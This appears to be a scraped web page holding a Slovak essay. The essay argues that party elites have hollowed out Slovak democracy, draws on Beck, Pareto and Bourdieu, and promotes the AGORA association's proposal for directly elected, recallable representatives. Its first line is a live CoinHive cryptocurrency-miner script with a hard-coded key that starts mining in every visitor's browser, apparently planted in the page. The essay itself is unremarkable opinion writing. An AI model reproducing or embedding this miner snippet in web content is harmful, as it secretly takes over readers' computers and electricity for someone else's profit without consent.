var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Sedem dôvodov, prečo stratiť ilúzie o snahe elity decentralizovať moc alebo nie je čas donekonečna len vymieňať manažment, je načase zmeniť aj spôsob konštituovania manažmentu!

1. Pri kolektívnom zastupovaní sa osobná zodpovednosť vytráca

Verejná správa alebo správa vecí verejných je závislá od spoločenského systému a od manažmentu, ktorý spoločnosť riadi. Preto je v každej spoločnosti z hľadiska efektivity zo všetkého asi najdôležitejší proces ako, sa tento manažment konštituuje, kontroluje a odvoláva.

Základným a najdôležitejším článkom demokratickej občianskej spoločnosti je občan so svojimi vrodenými právami i povinnosťami. Preto aj decentralizácia a zefektívňovanie verejnej správy by mala vychádzať z potrieb a očakávaní občana. Základnou prioritou by preto malo byť riešenie otázky, ako sa občan v súčasnom procese globalizácie a európskeho zjednocovania môže čo najefektívnejšie podieľať na správe veci verejných. Ak hovoríme o decentralizácii, priznávame že niektoré atribúty občianskej demokratickej spoločnosti sú porušené, a preto efektívne nefungujú.

Občan, v skutočnej zastupiteľskej demokracii by mal svoje vrodené práva ovplyvňovať veci verejné delegovať len na konkrétnu osobu – svojho verejného zástupcu s osobnou zodpovednosťou. Toto sa dá uskutočniť len priamou voľbou bez obmedzovania alebo diskriminácie. Ak deleguje tieto svoje osobné práva na inštitúcie a politické zoskupenia , znamená to, akoby sa ich dobrovoľne vzdal. Chýba mu konkrétny zástupca, ktorý by bol zodpovedný za dodržiavanie jeho práv a ktorého by mohol občan kontrolovať alebo zbavovať mandátu.

2. Dvadsať rokov vpred a deväťdesiat rokov späť: Užívame si demokraciu bez demokratov

Vo všeobecnosti sa dá konštatovať, že za posledných 20 rokov sa na Slovensku demokracia prehĺbila. Máme už demokratické inštitúcie, slobodné voľby, nezávislú tlač, legislatívou garantovaný tretí občiansky sektor. Zlepšil sa prístup k vzdelaniu a tým, aj mentálna úroveň časti spoločnosti a zintenzívnil sa rozvoj techniky. Dosiahli sme už formálne takmer všetko, čo by malo podľa logiky podporovať zvyšovanie kvality života demokratickej spoločnosti. Realita je však iná.

Situácia na Slovensku po roku 1989 je podobná situácii po vzniku I. ČSR v roku 1918, ktorú Masaryk komentoval preslávenym bonmotom o demokracii bez demokratov. Aj dnes, po takmer 20-ročnom demokratizačnom procese, je ešte stále naša občianska spoločnosť slabá. Nie však počtom občianskych združení, ale predovšetkým schopnosťou a možnosťou občanov vstupovať do verejnej sféry a ovplyvňovať i kontrolovať procesy verejného rozhodovania.

Možno povedať, že

- občianska spoločnosť nie je všeliek, skôr je to nevyhnutnosť, bez ktorej môže demokracia len ťažko fungovať;
- demokracia nie je teória ani ideológia, je to trvalý systémový proces v ktorom sú verejné rozhodnutia prijímané väčšinou (alebo ich zástupcami) a pritom dodržiavané základné práva jednotlivcov.

Súčasný stav spoločnosti a následky celosvetovej krízy jednoznačne dokazujú, že dnešná demokracia manažovaná straníckymi a mocenskými elitami nie je to, čo väčšinová slovenská spoločnosť od demokratizačného procesu očakávala. Namiesto deklarovanej blahobytnej spoločnosti vznikla väčšinová spoločnosť chudoby. Šíriaca sa bieda ľudí nespojuje, ale izoluje.

Hneď na začiatku si môžeme položiť základnú otázku; Kto, alebo čo je hlavnou príčinnou súčasne narastajúceho sociálneho zla? Je to občan - volič, zlá vláda alebo zlý politický a volebný systém?

Vzťah medzi potrebou sociálnej práce a kvalitou politiky je nepriamo úmerný. Čím kvalitnejšia je politika, tým menšia je potreba sociálnej práce. Ak politický a mocenský manažment nie je schopný trvalo znižovať potrebu sociálnej práce, chyba môže byť v ňom samom alebo v nedokonalom systéme. Keďže manažmenty - vlády sa spravidla po každých voľbách menia a potreby sociálnej práce neustále narastajú, je potrebné hľadať chybu v zlom politickom a volebnom systéme, lebo nedokáže vytvoriť taký politický a mocenský manažment, ktorý systémovo zabráni narastaniu sociálneho zla.

3. Zatiaľ čo väčšina ohrozenie včas nevníma, elity kritikov eliminujú alebo menia na byrokratov

V roku 1986 publikoval nemecký sociológ Ulrich Beck (nar. 1944) pôsobiaci na univerzite v Mníchove knihu s názvom Riziková spoločnosť s podtitulom Na ceste k modernite. Jej základnou tézou je, že moderná spoločnosť ohrozuje seba samu. Je stále bezmocnejšia a bezradnejšia k rizikám, ktoré svojím normálnym správaním vyvoláva ako vedľajší produkt. Moderné riziká sú pre bežného občana ťažko vnímateľné a odhaliteľné zmyslami. Profituje z nich neustále menšia skupina spoločnosti – elita. A väčšinová spoločnosť trpí, najmä počas opakujúcich sa kríz.

Cyklický charakter diania v spoločnosti vyjadruje taliansky ekonóm a sociológ Vilfredo Pareto (1848 - 1923) vo svojej teórii kolobehu elít. Každá spoločnosť je ovládaná mocenskou elitou, ktorá sama seba vydáva za vzor všetkých cností. Žiadnej revolúcii sa nikdy nepodarilo toto rozdelenie na elitu a ovládaných zrušiť. Striedanie elít sa v dejinách neustále opakuje a pôsobí už monotónne. Vládnuca elita zostáva pri moci tak dlho, pokiaľ zostáva aspoň trochu otvorená tým dolu. A najschopnejších zo svojich kritikov prijíma do svojich radov hlavne v byrokratickom aparáte. Tým ich dokonale korumpuje, takže pre ňu prestávajú byť nebezpeční.

Docent politológie na katedre politológie Fakulty medzinárodných vzťahov Vysokej školy ekonomickej v Prahe Karel B. Müller definuje byrokraciu ako servisnú vzdelanú triedu vládnucej elity, v ktorej záujme je vždy slúžiť udržovaniu toho, čo práve existuje. O tom, čo existuje, však ona sama nerozhoduje. S odvolaním sa na M. Webera uvádza že, západné demokratické režimy sú režimami odborníkov riadené amatérmi. V tom nie je paradox, ale racionálny základ. (K. Müller, 2008)

Filozofovia doby osvieteneckej verili, že hybnou silou pokroku, teda smerovania k stále dokonalejšej spoločnosti a stále šťastnejšiemu človeku, je ľudský rozum. Ľudský rozum v podobe vedy a techniky môže byť využitý veľkolepým spôsobom pre dobro ľudstva, môže sa však pomerne ľahko premeniť v dokonalý nástroj skazy a utrpenia. Žiadne storočie nezažilo toľko ľudského nešťastia, masového barbarstva a skazy ako 20. storočie. Hoci bolo po technickej a mentálnej stránke zatiaľ najvyspelejšie. Rozum sám je totiž slepý a ochotne poslúži i tým najmenej humánnym silám, pokiaľ ho dokážu pre svoje plány chladne využiť. Toto by v nás malo vzbudiť ostražitosť voči všetkým snom o vláde rozumu, prezentovanej rôznymi odbornými teóriami a ideológiami.

4. Zdroje sa míňajú, prebytok rastie, riziko zostáva.

Aj dnes, v čase krízy je spoločnosť intenzívne politickou, ekonomickou i akademickou elitou informovaná o úžasnej trhovej teórii: čím viac spotrebujeme, tým bude väčšia potreba vyrábať, tým bude viac pracovných príležitosti a tým sa budú mať ľudia lepšie. Toto je oficiálna súčasná politika mocenských elít na odstránenie krízy na ceste k blahobytnej spoločnosti.

Má táto teória logiku, ak sú prírodné zdroje a životný priestor obmedzené? Je schopná Zem poskytnúť dostatok surovín na zvyšovanie materiálnej spotreby? Naozaj treba viac pracovať, ak existuje prebytok, alebo treba spravodlivejšie prerozdeľovať a lepšie spoločnosť manažovať? Vychádza súčasná ekonomika so spoločenských vzťahov alebo závisia spoločenské vzťahy len na teórii ekonomického systému?

Pod pojmom teória sa rozumie rozmanitá kombinácia textových či interpretačných stratégií. Je to len domnienka, ktorá nemôže nahradiť skutočné poznanie, tzn. v našom prípade ani potreby občanov. Pretože občan sám najlepšie vie, čo je pre neho dobré. Komu prospieva táto teória a komu slúžia súčasní verejní zástupcovia – poslanci? Kto bohatne a kto trpí? Ako je známe ekonomický rast nechráni spoločnosť pred nárastom rizík ekologických ani sociálnych.

Podľa jedného z najvýznamnejších francúzskych sociológov 20. storočia Piera Bourdieua (1930 - 2002) nie je proces globalizácie prejavom slepej ekonomickej nutnosti. Je to úplne cielená stratégia a funguje ako neviditeľná ruka mocných tohto sveta. Heslá o slobode, liberalizácii a decentralizácii alebo efektivite kryjú nástup neúprosných ekonomických tlakov, ktoré by chceli ovládnuť všetok život spoločnosti i jednotlivcov. Jediné, čo globalizácia skutočne oslobodzuje, sú mocné finančné záujmy, ktoré sa majú stať naprosto imúnne voči zásahom vlád a celkom nezávislé na súhlase občanov.

Bourdie sa domnieva, že proti týmto silám nemôže účinne pôsobiť ani konštrukcia súčasnej zjednotenej Európy. Tvrdí, že zjednocovanie je málo radikálne, pretože je to stále len spojenie vysokých úradníkov, bankárov a finančníkov, nie združenie bežných ľudí s ich každodennými potrebami a problémami. Spoločná Európa má zmysel len ako nová a vyššia forma solidarity. Nová solidarita môže prísť jedine zdola, najskôr od tých, ktorí zdieľajú pocity neistoty a obáv. Tento pocit neistoty a obáv sa už dávno netýka len robotníkov, ale aj učiteľov, zdravotníkov, sociálnych pracovníkov, novinárov a ďalších profesií. Sieť solidarity by však nemohla byť budovaná po vzore politických strán s ich skostnatenými aparátmi. Nová celoeurópska sieť solidarity by mohla pomôcť vymaniť jednotlivé hnutia z ich izolovanosti a lokálnej uzavretosti. Takáto solidarita by musela byť úzko prepojená, pritom však dostatočne decentralizovaná. (Keller, 2008)

5. Nie je čas len vymeniť manažment. Je načase zmeniť spôsob manažovania!

Už zakladateľ sociológie Auguste Comte s ďalšími mysliteľmi 19. storočia sa domnievali, že cesta k väčšej dokonalosti a väčšiemu šťastiu vedie cez rozvoj vedy a techniky súčasne s rozvojom efektívneho usporiadaním organizácie celej spoločnosti na princípe prirodzených zákonov. Aj Platón už v 5. storočí p. n. l. tvrdil že; Lepší život = lepšia vláda + lepšie usporiadanie štátu.

Podľa už citovaného Urlicha Becka je nutné naliehavo premýšľať o potrebe alternatívneho spôsobu realizácie demokratickej politiky. V tej podobe, ako sa realizuje dnes, politici nie sú schopní riešiť existujúce riziká, ale nemajú ani vplyv na to, aké riziká pred nami vyvstanú už zajtra. Aj politickí predstavitelia ovplyvňujú dôsledky vývoja vedy a techniky, vôbec však

nevedia, akým smerom sa uberajú. Politici tak zodpovedajú za niečo, čo nekontrolujú a čomu ani poväčšine nerozumejú. Oblasť rozhodovania politikov sa tak postupne stále vyprázdňuje. Politické strany ešte vôbec nezaregistrovali, ako prevratne sa naša doba mení. Po zvyku svojich predchodkýň z 19. storočia súperia o priazeň voličov tým, že sa predháňajú v ponúkaní dobra, ktoré im doprajú. Na to potrebujú čo najväčší rast ekonomiky a čo najplytvajúcejšiu spotrebu. O ekologických dôsledkoch tejto svojej politiky mlčia, alebo ju dokonca úplne nezodpovedne bagatelizujú. Beck tvrdí, že politické strany pôsobia dojmom akýchsi zombie – inštitúcií; historicky sú už vlastne mŕtve, stále však nemôžu zomrieť. Stále by chceli organizovať verejný život, hoci sa ich členská základňa neustále zmenšuje. Odvolávajú sa na záujmy demokracie, i keď fakticky pôsobia proti nej svojou snahou ovládnuť zároveň parlament, vládu a justíciu, a tak zrušiť deľbu moci, ktorá je základom demokracie. (Keller 2008)

Súčastná jednoduchá zastupiteľská demokracia je v podstate odpoveďou na žiadosti spred vyše dvesto rokov. Systém zastupiteľskej demokracie vyhovoval danej dobe, pretože väčšina ľudí bola schopná nájsť svoje politické názory a ideály v malom množstve jasne definovaných humánnych a sociálnych presvedčení, ktoré boli zhrnuté a reprezentované národnými, náboženskými, sociálnymi a liberálnymi skupinami. Táto doba je dávno za nami. Idey ľudí a ich hodnotenia sa stali oveľa individuálnejšie. Populácia väčšiny európskych štátov zistila, že verejné rozhodovanie sa vykonáva s málom demokracie a vo všeobecnosti stratila dôveru v demokratickú podstatu inštitúcií.

6. Poslanecká autonómia neexistuje, volič je bokom, vyplatí sa len služba sebe a strane.

Najväčšiu zásluhu na rozvinutí teórie zastupiteľskej demokracie má pravdepodobne diskusia medzi francúzskymi osvietenými filozofmi v 2. polovici 18. a 1. polovici 19. storočia. Najznámejší z nich, Rousseau, však zostával verným obhajcom klasickej priamej demokracie. Pretože ani on nemohol pri úvahe o veľkých spoločnostiach (štátoch) vylúčiť reprezentatívnu zložku, trval na inštitúcii imperatívneho mandátu, keď je poslanec poverencom a tlmočníkom svojich voličov, riadi sa ich pokynmi, je im zodpovedný a aj nimi odvolateľný. V súčasných demokraciách sa dôraz kladie na autonómiu poslancov, ktorú zaručuje tzv. voľný (nezáväzný) mandát, keď sa poslanec zodpovedá nielen voličom, ale tiež vlastnému svedomiu.

V našej súčasnej slovenskej pluralistickej parlamentnej a zastupiteľskej demokracii nemajú poslanci ani imperatívny (záväzný) ani tzv. voľný (nezáväzný) mandát. Imperatívny mandát nemôžu mať preto, že nie sú priamo volení vo svojich vlastných obvodoch, a preto sa nemajú ani komu zodpovedať. Voľný mandát zodpovedajúci svojmu svedomiu, nemôžu mať preto, lebo im ho upiera politická strana, ktorá ich na kandidátnu listinu navrhovala. Slovenská demokracia nie je klasickou demokraciou, je to deformovaná demokracia už v samotnej legislatíve, je to hybrid demokracie, ktorý vyhovuje egoistickým elitám. Tento systém je aj prvotnou príčinou súčasného stavu spoločnosti, ktorý prostredníctvom korupcie a klientelizmu spôsobuje sociálnu nespravodlivosť v spoločnosti. Pôsobí ako rakovina v živom tele, ohrozuje samotnú podstatu spoločnosti a životného prostredia. Forma slovenskej demokracie nie je garanciou zvyšovania kvality života väčšinovej spoločnosti.

7. Alternatíva existuje: Voľba z domu

V priamej demokracii existuje skrytá sila, ktorá neustále uniká väčšine. Na jej princípe fungovali mestské štáty už v 5. storočí p. n. l. v antickom Grécku. Prvá demokratická ústava bola prijatá v 508 p. n. l. v Aténach. Atény spolu s niekoľkými ďalšími mestskými štátmi stáli na

začiatku rozkvetu západoeurópskej civilizácie. Každý slobodný občan bol spoluúčastníkom verejnej moci, mal právo podať návrh alebo o predloženom návrhu rozhodovať. Priama demokracia podporuje rozvoj osobných vlastností, zmysel pre zodpovednosť, sebaúctu, úctu k iným, pozitívny vzťah k rodine i k spoločnosti. Priama demokracia má nepochybne svoje medze v počte zúčastnených. No pomocou jej hlavných nástrojov, petície a referenda, sa dá priam ideálne vytvoriť centralizovaný demokratický manažment samosprávnej spoločnosti. Petičný návrh umožňuje vybrať zástupcu s najväčšou občianskou podporou od miestnej samosprávy až po Európsky parlament.

Rozvoj spoločnosti spočíva hlavne v rozšírení možností voľby pre ľudí. A preto aj voľba petičným návrhom demokratického manažmentu je jedinou správnou cestou k decentralizácii moci súčasných politických a mocenských inštitúcií bez osobnej zodpovednosti.

Občianske združenie na podporu priamej demokracie AGORA presadzuje využitie inštitútu petície a referenda pri správe vecí verejných na Slovensku už od roku 2000. Vo svojej optimistickej vízii z roku 2000 „Reforma parlamentu – nádej pre Slovensko“ navrhuje vytvorenie II. komory parlamentu zloženej z priamo volených zástupcov v jednotlivých okresoch.

Keďže u vtedajších a ani súčasných politických a spoločenských elít nenašla táto iniciatíva dostatok politickej vôle, od roku 2005 Agora presadzuje riešenie decentralizácie verejnej správy zospodu už od poslancov miestnej samosprávy. Na konštituovanie demokratického manažmentu navrhlo systém PD-HD, pričom skratka priamej demokracie PD vyjadruje priamu voľbu každého verejného zástupcu, a skratka HD je hnutím domova, tzn. bydliska (volebného okrsku), kde sa priama voľba realizuje. Vychádza z demokratickej premisy, že každý verejný zástupca musí mať svoj volebný obvod s vlastnými voličmi, ktorí ho majú právo navrhovať, voliť, kontrolovať i odvolávať. Žiadne z týchto prirodzených práv by nemalo byť legislatívou obmedzené, a ani občan – volič by nemal byť pri jeho využívaní diskriminovaný.

Východisko do budúcnosti preto občianske združenie Agora vidí v systémovej reforme verejnej moci (tzv. reforme inštitúcií) v zjednotenej Európe. Ak sa máme pohybovať v čo najväčšej blízkosti ideálu demokracie, a to v podmienkach obmedzených možností reálneho sveta, je potrebné v prvom rade pod významom slov decentralizácia a efektivita chápať oddelenie konštituovania verejnej moci zákonodarnej – výkonnej - súdnej. Pokiaľ v našej spoločnosti bude mať najvyššiu moc tzv. koaličná rada, dovtedy každá decentralizácia a efektivita verejnej správy bude len pozlátkou vlády elít realizovanej jej byrokratickým aparátom, o samospráve na štátnej úrovni už nemožno hovoriť.

Záver

Ešte v roku 1989 nám politická a mocenská elita sľubovala lepší zajtrajšok.

V roku 1999 nám vtedajšia politická a mocenská elita po 10 ročnej ekonomickej reforme hospodárstva sľubovala švajčiarsky blahobyt a násobné platy.

Dnes v roku 2009, 20 rokov po nežnej revolúcii a po 10 rokoch reformného procesu verejnej správy by mohla aj vzdelaná časť spoločnosti pochopiť, že slovenskej spoločnosti by najviac k rozvoju prospel švajčiarsky systém demokratickej samosprávy, ktorý už nie je potrebné decentralizovať a zefektívňovať.

Vieme si však predstaviť, že by sme nemali na Slovensku predsedu vlády a koaličnú radu?

Zoznam použitej literatúry:

BAUMAN, Z., Komunita. Bratislava. Slovak edition 2006. 121s. ISBN 80-8061-225-0

CARLSSON, C., LINGREN. A., Čo je sociálna demokracia. Bratislava. Práca. 1998. 98s. ISBN 80-7094-330-0.

DAHL, R. O demokracii. Praha. Portál. 2001. 192s. ISBN 80- 7178- 422-2.

EHEL, M. Globalizace pro a proti. Academia. Praha. 2001. 185s. ISBN 80-200-0697-7.

CHANDLER, J. A., Místní správa v liberálních demokraciích. Doplnek. Brno. 1998. 266s. ISBN 80-7239-023-6.

IVANIČKA, K., Globalistika. Ekonómia. Bratislava. 2006. 282s. ISBN 80-8078-028-5.

KELLER, J. 2005.Soumrak sociálního státu. Sociologické nakladatelství (SLON). Praha. 2006. 158s. ISBN80-86429-41-5.

KELLER, J. 1996. Sociologie byrokracie a organizace. Sociologické nakladatelství (SLON). 1997. 191s. ISBN 80-85850-15-X.

KELLER, J., NOVOTNÝ, P., Úvod do Filozofie, politológie a psychológie. Dialog. Liberec 2008. 224s. ISBN 978-80-86761-81-7.

MULLER, K. B. Politická sociológia. Portál Praha 2008. 216s. ISBN 978-80-7367-380-2.

SARTORI, G. Teória demokracie. Archa. Bratislava. 1993. 512s. ISBN 80-7115-049-5.

VERHULS,T. J., NIJEBOER, A. 2007. Priama demokracia. Brusel. Democracy International. 2007. 85s. ISBN 9789078820055.